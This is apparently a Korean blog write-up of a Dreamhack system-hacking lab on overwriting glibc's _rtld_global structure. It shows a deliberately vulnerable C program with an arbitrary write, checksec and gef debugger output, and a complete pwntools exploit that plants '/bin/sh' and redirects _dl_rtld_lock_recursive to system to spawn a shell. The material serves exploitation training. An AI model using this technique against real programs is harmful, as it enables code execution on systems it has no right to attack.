[Dreamhack] Exploit Tech: overwrite _rtld_global

Sisyphus·2022년 7월 29일
0

Dreamhack - System Hacking

목록 보기
43/49

들어가며

_rtld_global 덮어쓰기 실습 예제

/ Name: ow_rtld.c
// Compile: gcc -o ow_rtld ow_rtld.c

#include <stdio.h>
#include <stdlib.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  long addr;
  long data;
  int idx;
  
  init();
  
  printf("stdout: %p\n", stdout);
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("addr: ");
        scanf("%ld", &addr);
        printf("data: ");
        scanf("%ld", &data);
        *(long long *)addr = data;
        break;
      default:
      	return 0;
    }
  }
  return 0;
}


분석

보호 기법

ion@Galaxy-Book:~/dreamhack/overwrite_rtld_global$ checksec ow_rtld
[*] '/home/ion/dreamhack/overwrite_rtld_global/ow_rtld'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

코드 분석

stdout 라이브러리 주소를 출력하고, 입력한 addr 주소에 data를 삽입하는 임의 주소 쓰기 취약점이 존재합니다.
모든 보호 기법이 적용되어 있어 GOT를 덮어쓰는 행위는 불가능합니다.



익스플로잇

익스플로잇 설계

1. 라이브러리 및 로더 베이스 주소 계산

stdout 주소를 통해 라이브러리 베이스 주소를 구하고, “/lib64/ld-linux-x86-64.so.2”가 맵핑된 로더의 베이스 주소를 알아냅니다.
라이브러리와 로더가 매핑된 주소의 간격은 일정하기 때문에 디버깅을 통해 간격을 알아내고 오프셋을 계산하여 알아낼 수 있습니다.

2. _rtld_global 구조체 계산

로더의 베이스 주소에 rtld_global 구조체의 심볼 주소를 더해 해당 구조체의 주소를 알아낼 수 있습니다. 해당 구조체의 주소를 구했다면, 멤버 변수인 _dl_load_lock과 _dl_rtld_lock_recursive 함수 포인터의 주소를 구합니다.

3. _rtld_global 구조체 조작

프로그램을 종료하는 과정에서 _rtld_global 구조체의 _dl_load_lock을 인자로 _dl_rtld_lock_recursive 함수 포인터를 호출합니다. 따라서 dl_load_lock에 "/bin/sh" 또는 "sh" 문자열을 삽입하고 dl_rtld_lock_recursive를 system 함수로 덮어쓰면 쉘을 흭득할 수 있습니다.


라이브러리 및 로더 베이스 주소 계산

stdout 라이브러리 주소를 이용해 라이브러리와 로더의 베이스 주소를 구할 수 있습니다.

libc_base leak

libc_base = stdout - libc.symbols['_IO_2_1_stdout_']

ld_base leak

ld_base = libc_base + (ld_base - libc_base)
gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00555555400000 0x00555555401000 0x00000000000000 r-x /home/ion/dreamhack/overwrite_rtld_global/ow_rtld
0x00555555600000 0x00555555601000 0x00000000000000 r-- /home/ion/dreamhack/overwrite_rtld_global/ow_rtld
0x00555555601000 0x00555555602000 0x00000000001000 rw- /home/ion/dreamhack/overwrite_rtld_global/ow_rtld
0x007ffff79e2000 0x007ffff7bc9000 0x00000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x007ffff7bc9000 0x007ffff7dc9000 0x000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x007ffff7dc9000 0x007ffff7dcd000 0x000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x007ffff7dcd000 0x007ffff7dcf000 0x000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
0x007ffff7dcf000 0x007ffff7dd3000 0x00000000000000 rw-
0x007ffff7dd3000 0x007ffff7dfc000 0x00000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x007ffff7fea000 0x007ffff7fec000 0x00000000000000 rw-
0x007ffff7ff7000 0x007ffff7ffb000 0x00000000000000 r-- [vvar]
0x007ffff7ffb000 0x007ffff7ffc000 0x00000000000000 r-x [vdso]
0x007ffff7ffc000 0x007ffff7ffd000 0x00000000029000 r-- /lib/x86_64-linux-gnu/ld-2.27.so
0x007ffff7ffd000 0x007ffff7ffe000 0x0000000002a000 rw- /lib/x86_64-linux-gnu/ld-2.27.so
0x007ffff7ffe000 0x007ffff7fff000 0x00000000000000 rw-
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
gef➤  $ 0x007ffff7dd3000-0x007ffff79e2000
4132864
0x3f1000
0b1111110001000000000000
b'?\x10\x00'
b'\x00\x10?'
# ld_base - libc_base = 0x3f1000
ld_base = libc_base + 0x3f1000

# Name: ow_rtld.py
from pwn import *

p = process("./ow_rtld")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ld = ELF('/lib64/ld-linux-x86-64.so.2')

p.recvuntil(": ")

stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000

print(hex(libc_base))
print(hex(ld_base))

p.interactive()

_rtld_global 주소 계산

라이브러리의 베이스 주소와 로더의 베이스 주소를 알아냈다면 _rtld_global 구조체와 덮어쓸 멤버 변수의 주소를 구해보겠습니다.

gef➤  p &_rtld_global._dl_load_lock
$1 = (__rtld_lock_recursive_t *) 0x7ffff7ffd968 <_rtld_global+2312>
gef➤  p &_rtld_global._dl_rtld_lock_recursive
$2 = (void (**)(void *)) 0x7ffff7ffdf60 <_rtld_global+3840>
  • _dl_load_lock offset: 2312
  • _dl_rtld_lock_recursive offset: 3840
# Name: ow_rtld.py
from pwn import *

p = process("./ow_rtld")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ld = ELF('/lib64/ld-linux-x86-64.so.2')

p.recvuntil(": ")

stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000

rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840

p.interactive()

_rtld_global 구조체 조작

_dl_rtld_lock_recursive를 system() 함수로 덮어쓰고 _dl_load_lock 주소에 "sh" 또는 "/bin/sh" 문자열을 쓰면 쉘을 흭득할 수 있습니다.

# Name: ow_rtld.py
from pwn import *

p = process("./ow_rtld")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
ld = ELF('/lib64/ld-linux-x86-64.so.2')

p.recvuntil(": ")

stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000

rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840

system = libc_base + libc.symbols['system']

p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_load_lock))
p.sendlineafter("data: ", str(u64("/bin/sh\x00")))

p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("data: ", str(system))

p.sendlineafter("> ", "2")
p.interactive()
[+] Starting local process './ow_rtld': pid 94
[*] '/lib64/ld-linux-x86-64.so.2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
$ ls
exploit.py  ow_rtld  ow_rtld.c

0개의 댓글